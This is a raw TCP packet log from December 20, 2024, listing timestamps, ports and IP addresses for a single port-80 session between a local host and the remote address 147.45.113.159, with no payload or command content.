Dec 20, 2024 17:13:46.906474113 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.906522989 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.907172918 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.908060074 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.908071041 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.908107042 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.908148050 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.908181906 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.908868074 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.908880949 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.908925056 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.909542084 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.909833908 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.909874916 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.910363913 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.910609007 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.910655975 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.911092997 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.911202908 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.911235094 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.911880016 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.953190088 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.972053051 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.972174883 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.972249031 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.972357988 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.972598076 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.972656965 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.973222971 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.973376036 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.973434925 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.973944902 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.974086046 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.974149942 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.974697113 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.974781036 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.974853992 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.975503922 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.975652933 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.975712061 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.976305008 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.976355076 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.976428986 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.977050066 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.977241993 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.977283955 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.977848053 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.977922916 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.977962017 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.978642941 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.978815079 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.978857994 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.979402065 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.979482889 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.979521990 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.980221033 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.980412960 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.980456114 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.980959892 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.981148958 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.981184959 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.981739998 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.981890917 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.981930971 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.982532978 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.982651949 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.982687950 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.983346939 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.983450890 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.983488083 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.984102011 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.984262943 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.984299898 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.984870911 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.984992027 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.985030890 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.985717058 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.985826015 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.985871077 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.986449003 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.986507893 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.986556053 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.000144958 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.000386000 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.000447035 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.000483036 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.000591993 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.000629902 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.001265049 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.001332998 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.001368999 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.002127886 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.046926022 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.081806898 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.081872940 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.081934929 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.082149029 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.082293034 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.082330942 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.082909107 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.083098888 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.083132029 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.083725929 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.083833933 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.083868980 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.084484100 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.084614038 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.084649086 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.085270882 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.085338116 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.085367918 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.086085081 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.086256981 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.086297035 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.086828947 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.086950064 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.086987019 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.087620020 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.087714911 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.087755919 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.088399887 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.088567972 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.088604927 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.089211941 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.089298010 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.089334011 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.089977980 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.090044975 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.090085030 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.090770006 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.090965986 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.091008902 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.091528893 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.091646910 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.091706038 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.092283964 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.092406034 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.092447996 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.093115091 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.093178988 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.093219042 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.093883038 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.093951941 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.093988895 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.094686031 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.094789982 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.094832897 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.095444918 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.095530987 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.095607996 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.096216917 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.096313953 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.096349955 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.097003937 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.097091913 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.097122908 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.097788095 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.097893000 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.097928047 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.098581076 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.098654032 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.098709106 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.099363089 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.099375963 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.099421978 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.100147009 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.100271940 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.100311995 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.100914955 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.101031065 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.101066113 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.101696014 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.101787090 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.101823092 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.102534056 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.102598906 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.102636099 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.103280067 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.103399992 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.103439093 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.104051113 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.104125977 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.104162931 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.164298058 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.164338112 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.164454937 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.164537907 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.164650917 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.164690018 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.165327072 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.165620089 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.165666103 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.165860891 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.166546106 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.166593075 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.166630983 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.167390108 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.167438984 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.167833090 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.168323994 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.168337107 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.168392897 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.168797016 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.168859005 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.168927908 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.169620037 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.169675112 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.169682980 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.170300961 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.170357943 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.170433044 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.171077013 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.171139956 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.171155930 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.171905994 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.171950102 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.171963930 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.172663927 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.172722101 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.172734976 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.173522949 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.173609972 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.173643112 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.174207926 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.174257994 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.174346924 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.175019026 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.175074100 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.175129890 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.175796032 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.175854921 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.175858974 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.176593065 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.176660061 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.176686049 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.177340031 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.177390099 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.177464008 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.178172112 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.178215027 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.178380966 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.178905964 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.178957939 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.178965092 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.192276955 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.192401886 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.192482948 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.192636013 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.192683935 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.192712069 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.193387985 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.193437099 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.193594933 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.194181919 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.194228888 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.273806095 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.273858070 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.273942947 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.273996115 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.274096966 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.274161100 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.274816036 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.274960041 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.275001049 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.275563955 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.275674105 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.275718927 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.276366949 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.276482105 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.276526928 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.277142048 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.277240038 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.277282953 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.277944088 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.278003931 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.278047085 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.278718948 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.278815985 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.278860092 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.279500008 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.279589891 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.279637098 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.280364037 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.280570030 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.280607939 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.281085014 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.281186104 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.281235933 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.281825066 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.281918049 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.281966925 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.282588959 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.282708883 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.282747984 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.283442974 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.283534050 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.283571005 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.284190893 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.284332037 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.284375906 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.285003901 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.285047054 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.285082102 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.285845041 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.285945892 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.285986900 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.286552906 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.286639929 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.286678076 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.287338972 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.287360907 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.287404060 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.288083076 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.288186073 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.288223028 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.288861036 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.289024115 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.289067984 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.289664984 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.289760113 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.289798021 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.290442944 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.290633917 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.290673018 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.291276932 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.291410923 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.291449070 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.292067051 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.292176962 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.292257071 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.292835951 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.292872906 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.292907953 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.293566942 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.293698072 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.293737888 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.294329882 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.294428110 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:47.294471025 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:47.295209885 CET	80	49711	147.45.113.159	192.168.2.9
